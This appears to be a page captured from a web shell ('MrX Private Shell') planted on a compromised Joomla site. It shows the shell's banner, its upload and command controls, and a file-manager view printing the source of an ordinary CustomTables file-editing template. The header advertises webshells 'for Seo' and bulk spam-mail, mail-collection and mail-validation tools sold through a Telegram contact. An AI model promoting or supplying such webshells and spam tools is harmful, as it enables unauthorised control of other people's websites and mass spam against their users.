__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * CustomTables Joomla! 3.x/4.x/5.x Component
 * @package Custom Tables
 * @author Ivan Komlev <[email protected]>
 * @link https://joomlaboat.com
 * @copyright (C) 2018-2024. Ivan Komlev
 * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html
 **/

// no direct access
use CustomTables\common;
use CustomTables\CTMiscHelper;

defined('_JEXEC') or die();

?>
<script>
    var idList = [<?php echo implode(',', $this->idList) ?>];

    function DeleteFiles(fileid) {
        var count = 0;
        var fileids = "";

        for (var i = 0; i < idList.length; i++) {
            if (document.getElementById("esfile" + idList[i]).checked) {
                count++;
                fileids += "*" + idList[i];
            }
        }
        if (count == 0) {
            alert("<?php echo common::translate('COM_CUSTOMTABLES_JS_SELECT_FILES'); ?>");
            return false;
        }

        if (confirm("<?php echo common::translate('COM_CUSTOMTABLES_DO_U_WANT_TO_DELETE'); ?> " + count + " <?php

			echo common::translate('COM_CUSTOMTABLES_FILE_S');

			?>?")) {

            document.getElementById("fileedit_task").value = "delete";
            document.getElementById("fileids").value = fileids;
            document.getElementById("eseditfiles").submit();
        }

        return true;
    }

    function SelectAll(s) {


        for (var i = 0; i < idList.length; i++) {
            document.getElementById("esfile" + idList[i]).checked = s;

        }
    }

    function SaveOrder() {

        document.getElementById("fileedit_task").value = "saveorder";
        document.getElementById("eseditfiles").submit()

    }

    function ShowAddFile() {
        var obj = document.getElementById("addfileblock");
        if (obj.style.display == "block")
            obj.style.display = "none";
        else
            obj.style.display = "block";
    }

</script>


<h2><?php echo $this->FileBoxTitle; ?></h2>

<form action="index.php?Itemid=<?php echo common::inputGet('Itemid', 0, 'INT'); ?>" method="POST" name="eseditfiles"
      id="eseditfiles" enctype="multipart/form-data">
	<?php
	$toolbar = '
	<div style="height:40px;">
		<div style="float:left;">
			<input type="button" class="button" value="' . common::translate('COM_CUSTOMTABLES_FINISH') . '" onClick=\'this.form.task.value="cancel";this.form.submit()\'>
		</div>
		<div style="float:right;">
			<input type="button" class="button" value="' . common::translate('COM_CUSTOMTABLES_DELETE') . '" onClick=\'DeleteFiles()\'>
		</div>
	</div>
	';

	echo $toolbar;

	?>

    <fieldset class="adminform">
        <legend><?php echo common::translate('COM_CUSTOMTABLES_FILE_MANAGER'); ?></legend>

        <div name="addfileblock" id="addfileblock" style="display:block;">
            <h2><?php echo common::translate('COM_CUSTOMTABLES_ADD_NEW_FILE'); ?></h2>
            <table class="bigtext">
                <tr>
                    <td><?php echo common::translate('COM_CUSTOMTABLES_ADD_NEW_FILE'); ?>:<br/></td>
                    <td>
                        <input name="uploadedfile" type="file"/><input type="button" class="button"
                                                                       value="<?php echo common::translate('COM_CUSTOMTABLES_UPLOAD_FILE'); ?>"
                                                                       onClick='this.form.task.value="add";this.form.submit()'>
                    </td>
                </tr>
                <tr>
                    <td colspan="2">
						<?php echo common::translate('COM_CUSTOMTABLES_PERMITTED_MAX_FILE_SIZE') . ': ' . CTMiscHelper::formatSizeUnits($this->max_file_size); ?>
                        <br/>
						<?php echo common::translate('COM_CUSTOMTABLES_FORMATS'); ?>:
                        <b><?php echo str_replace(' ', ', ', $this->allowedExtensions); ?></b>
                    </td>
                </tr>
            </table>
            <br/>
        </div>

		<?php echo $this->drawFiles(); ?>

        <input type="hidden" name="option" value="com_customtables"/>
        <input type="hidden" name="view" value="editfiles"/>
        <input type="hidden" name="Itemid" value="<?php echo common::inputGet('Itemid', 0, 'INT'); ?>"/>
        <input type="hidden" name="returnto" value="<?php echo common::inputGet('returnto', '', 'BASE64');; ?>"/>

        <input type="hidden" name="vlu" id="vlu" value=""/>
        <input type="hidden" name="task" id="fileedit_task" value=""/>
        <input type="hidden" name="fileids" id="fileids" value=""/>
        <input type="hidden" name="listing_id" id="listing_id" value="<?php echo $this->listing_id; ?>"/>


        <input type="hidden" name="fileboxname" id="fileboxname" value="<?php echo $this->fileboxname; ?>"/>

    </fieldset>
</form>

Filemanager

Name Type Size Permission Actions
default.php File 4.82 KB 0664
index.html File 43 B 0664
Filemanager